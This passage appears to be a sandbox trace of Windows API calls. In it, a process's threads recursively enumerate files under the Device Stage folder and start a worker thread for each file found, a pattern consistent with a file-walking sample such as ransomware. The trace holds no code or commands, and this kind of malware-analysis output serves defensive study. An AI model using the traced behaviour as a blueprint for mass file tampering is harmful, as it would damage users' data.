ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64a757, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.891] wcscmp (_String1="..", _String2=".") returned 1 [0174.891] wcscmp (_String1="..", _String2="..") returned 0 [0174.891] FindNextFileW (in: hFindFile=0x30458a8, lpFindFileData=0x2f9cda8 | out: lpFindFileData=0x2f9cda8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2a1d79, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbd64b86a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0174.891] wcscmp (_String1="en-US", _String2=".") returned 1 [0174.891] wcscmp (_String1="en-US", _String2="..") returned 1 [0174.891] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb8) returned 0x2f9e7f0 [0174.891] wcscpy (in: _Dest=0x2f9e7f0, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}" [0174.891] wcscat (in: _Dest=0x2f9e7f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\" [0174.891] wcscat (in: _Dest=0x2f9e7f0, _Source="en-US" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US" [0175.580] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f9e7f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9a4 [0175.580] FindNextFileW (in: hFindFile=0x30458a8, lpFindFileData=0x2f9cda8 | out: lpFindFileData=0x2f9cda8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd0a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 1 [0175.580] wcscmp (_String1="folder.ico", _String2=".") returned 1 [0175.580] wcscmp (_String1="folder.ico", _String2="..") returned 1 [0175.580] FindNextFileW (in: hFindFile=0x30458a8, lpFindFileData=0x2f9cda8 | out: lpFindFileData=0x2f9cda8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62088d76, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62088d76, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62088d76, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe3c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="print_pref.ico", cAlternateFileName="")) returned 1 [0175.580] wcscmp (_String1="print_pref.ico", _String2=".") returned 1 [0175.580] wcscmp (_String1="print_pref.ico", _String2="..") returned 1 [0175.581] FindNextFileW (in: hFindFile=0x30458a8, lpFindFileData=0x2f9cda8 | out: lpFindFileData=0x2f9cda8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xebb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="print_property.ico", cAlternateFileName="")) returned 1 [0175.581] wcscmp (_String1="print_property.ico", _String2=".") returned 1 [0175.581] wcscmp (_String1="print_property.ico", _String2="..") returned 1 [0175.581] FindNextFileW (in: hFindFile=0x30458a8, lpFindFileData=0x2f9cda8 | out: lpFindFileData=0x2f9cda8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62088d76, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62088d76, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62088d76, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdff5, dwReserved0=0x0, dwReserved1=0x0, cFileName="print_queue.ico", cAlternateFileName="")) returned 1 [0175.581] wcscmp (_String1="print_queue.ico", _String2=".") returned 1 [0175.581] wcscmp (_String1="print_queue.ico", _String2="..") returned 1 [0175.581] FindNextFileW (in: hFindFile=0x30458a8, lpFindFileData=0x2f9cda8 | out: lpFindFileData=0x2f9cda8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62088d76, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62088d76, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62088d76, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xec75, dwReserved0=0x0, dwReserved1=0x0, cFileName="scan_.ico", cAlternateFileName="")) returned 1 [0175.581] wcscmp (_String1="scan_.ico", _String2=".") returned 1 [0175.581] wcscmp (_String1="scan_.ico", _String2="..") returned 1 [0175.581] FindNextFileW (in: hFindFile=0x30458a8, lpFindFileData=0x2f9cda8 | out: lpFindFileData=0x2f9cda8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62088d76, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62088d76, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62088d76, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x10654, dwReserved0=0x0, dwReserved1=0x0, cFileName="scan_property.ico", cAlternateFileName="")) returned 1 [0175.581] wcscmp (_String1="scan_property.ico", _String2=".") returned 1 [0175.581] wcscmp (_String1="scan_property.ico", _String2="..") returned 1 [0175.581] FindNextFileW (in: hFindFile=0x30458a8, lpFindFileData=0x2f9cda8 | out: lpFindFileData=0x2f9cda8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf8c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="scan_settings.ico", cAlternateFileName="")) returned 1 [0175.581] wcscmp (_String1="scan_settings.ico", _String2=".") returned 1 [0175.581] wcscmp (_String1="scan_settings.ico", _String2="..") returned 1 [0175.581] FindNextFileW (in: hFindFile=0x30458a8, lpFindFileData=0x2f9cda8 | out: lpFindFileData=0x2f9cda8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2c64, dwReserved0=0x0, dwReserved1=0x0, cFileName="tasks.xml", cAlternateFileName="")) returned 1 [0175.581] wcscmp (_String1="tasks.xml", _String2=".") returned 1 [0175.581] wcscmp (_String1="tasks.xml", _String2="..") returned 1 [0175.581] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc0) returned 0x2fa6b18 [0175.581] wcscpy (in: _Dest=0x2fa6b18, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}" [0175.581] wcscat (in: _Dest=0x2fa6b18, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\" [0175.581] wcscat (in: _Dest=0x2fa6b18, _Source="tasks.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml" [0175.581] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa6b18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3b4 [0175.582] FindNextFileW (in: hFindFile=0x30458a8, lpFindFileData=0x2f9cda8 | out: lpFindFileData=0x2f9cda8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2c64, dwReserved0=0x0, dwReserved1=0x0, cFileName="tasks.xml", cAlternateFileName="")) returned 0 [0175.582] FindClose (in: hFindFile=0x30458a8 | out: hFindFile=0x30458a8) returned 1 [0175.583] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9cda8) returned 1 [0175.583] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3056278) returned 1 [0175.583] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3056d40) returned 1 [0175.583] RtlExitUserThread (Status=0x0) Thread: id = 2311 os_tid = 0xcb0 [0174.892] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb4) returned 0x2f9dbf0 [0174.892] wcscpy (in: _Dest=0x2f9dbf0, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}" [0174.892] wcscat (in: _Dest=0x2f9dbf0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\" [0174.892] wcscat (in: _Dest=0x2f9dbf0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\*") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\*" [0174.892] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9d010 [0174.892] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\*", lpFindFileData=0x2f9d010 | out: lpFindFileData=0x2f9d010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd55373b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8653f0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30458e8 [0174.894] wcscmp (_String1=".", _String2=".") returned 0 [0174.894] FindNextFileW (in: hFindFile=0x30458e8, lpFindFileData=0x2f9d010 | out: lpFindFileData=0x2f9d010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd55373b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8653f0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.894] wcscmp (_String1="..", _String2=".") returned 1 [0174.894] wcscmp (_String1="..", _String2="..") returned 0 [0174.894] FindNextFileW (in: hFindFile=0x30458e8, lpFindFileData=0x2f9d010 | out: lpFindFileData=0x2f9d010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1fad1, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1 [0174.894] wcscmp (_String1="background.png", _String2=".") returned 1 [0174.894] wcscmp (_String1="background.png", _String2="..") returned 1 [0174.894] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xce) returned 0x2ff17a8 [0174.894] wcscpy (in: _Dest=0x2ff17a8, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}" [0174.894] wcscat (in: _Dest=0x2ff17a8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\" [0174.894] wcscat (in: _Dest=0x2ff17a8, _Source="background.png" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png" [0175.574] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2ff17a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9a0 [0175.574] FindNextFileW (in: hFindFile=0x30458e8, lpFindFileData=0x2f9d010 | out: lpFindFileData=0x2f9d010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb61, dwReserved0=0x0, dwReserved1=0x0, cFileName="behavior.xml", cAlternateFileName="")) returned 1 [0175.574] wcscmp (_String1="behavior.xml", _String2=".") returned 1 [0175.574] wcscmp (_String1="behavior.xml", _String2="..") returned 1 [0175.574] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xca) returned 0x2ff0cb0 [0175.574] wcscpy (in: _Dest=0x2ff0cb0, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}" [0175.575] wcscat (in: _Dest=0x2ff0cb0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\" [0175.575] wcscat (in: _Dest=0x2ff0cb0, _Source="behavior.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml" [0175.575] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2ff0cb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3c4 [0175.575] FindNextFileW (in: hFindFile=0x30458e8, lpFindFileData=0x2f9d010 | out: lpFindFileData=0x2f9d010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xadc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="device.png", cAlternateFileName="")) returned 1 [0175.575] wcscmp (_String1="device.png", _String2=".") returned 1 [0175.575] wcscmp (_String1="device.png", _String2="..") returned 1 [0175.575] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc6) returned 0x2fc37b8 [0175.575] wcscpy (in: _Dest=0x2fc37b8, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}" [0175.575] wcscat (in: _Dest=0x2fc37b8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\" [0175.575] wcscat (in: _Dest=0x2fc37b8, _Source="device.png" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png" [0175.575] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fc37b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x65c [0175.576] FindNextFileW (in: hFindFile=0x30458e8, lpFindFileData=0x2f9d010 | out: lpFindFileData=0x2f9d010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62088d76, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62088d76, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62088d76, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x70c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="overlay.png", cAlternateFileName="")) returned 1 [0175.576] wcscmp (_String1="overlay.png", _String2=".") returned 1 [0175.576] wcscmp (_String1="overlay.png", _String2="..") returned 1 [0175.576] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc8) returned 0x2fc33a8 [0175.576] wcscpy (in: _Dest=0x2fc33a8, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}" [0175.576] wcscat (in: _Dest=0x2fc33a8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\" [0175.576] wcscat (in: _Dest=0x2fc33a8, _Source="overlay.png" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png" [0175.576] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fc33a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x660 [0175.577] FindNextFileW (in: hFindFile=0x30458e8, lpFindFileData=0x2f9d010 | out: lpFindFileData=0x2f9d010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x99d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="superbar.png", cAlternateFileName="")) returned 1 [0175.577] wcscmp (_String1="superbar.png", _String2=".") returned 1 [0175.577] wcscmp (_String1="superbar.png", _String2="..") returned 1 [0175.577] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xca) returned 0x2ff0d88 [0175.577] wcscpy (in: _Dest=0x2ff0d88, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}" [0175.577] wcscat (in: _Dest=0x2ff0d88, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\" [0175.577] wcscat (in: _Dest=0x2ff0d88, _Source="superbar.png" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png" [0175.577] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2ff0d88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x664 [0175.578] FindNextFileW (in: hFindFile=0x30458e8, lpFindFileData=0x2f9d010 | out: lpFindFileData=0x2f9d010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x99d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="superbar.png", cAlternateFileName="")) returned 0 [0175.578] FindClose (in: hFindFile=0x30458e8 | out: hFindFile=0x30458e8) returned 1 [0175.579] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9d010) returned 1 [0175.579] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9dbf0) returned 1 [0175.579] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057190) returned 1 [0175.579] RtlExitUserThread (Status=0x0) Thread: id = 2312 os_tid = 0x534 [0174.895] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb4) returned 0x2f9dd70 [0174.895] wcscpy (in: _Dest=0x2f9dd70, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}" [0174.895] wcscat (in: _Dest=0x2f9dd70, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\" [0174.895] wcscat (in: _Dest=0x2f9dd70, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\*") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\*" [0174.895] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9d278 [0174.895] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\*", lpFindFileData=0x2f9d278 | out: lpFindFileData=0x2f9d278*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd554496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8653f0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3045928 [0174.895] wcscmp (_String1=".", _String2=".") returned 0 [0174.895] FindNextFileW (in: hFindFile=0x3045928, lpFindFileData=0x2f9d278 | out: lpFindFileData=0x2f9d278*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd554496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8653f0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.895] wcscmp (_String1="..", _String2=".") returned 1 [0174.895] wcscmp (_String1="..", _String2="..") returned 0 [0174.895] FindNextFileW (in: hFindFile=0x3045928, lpFindFileData=0x2f9d278 | out: lpFindFileData=0x2f9d278*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, 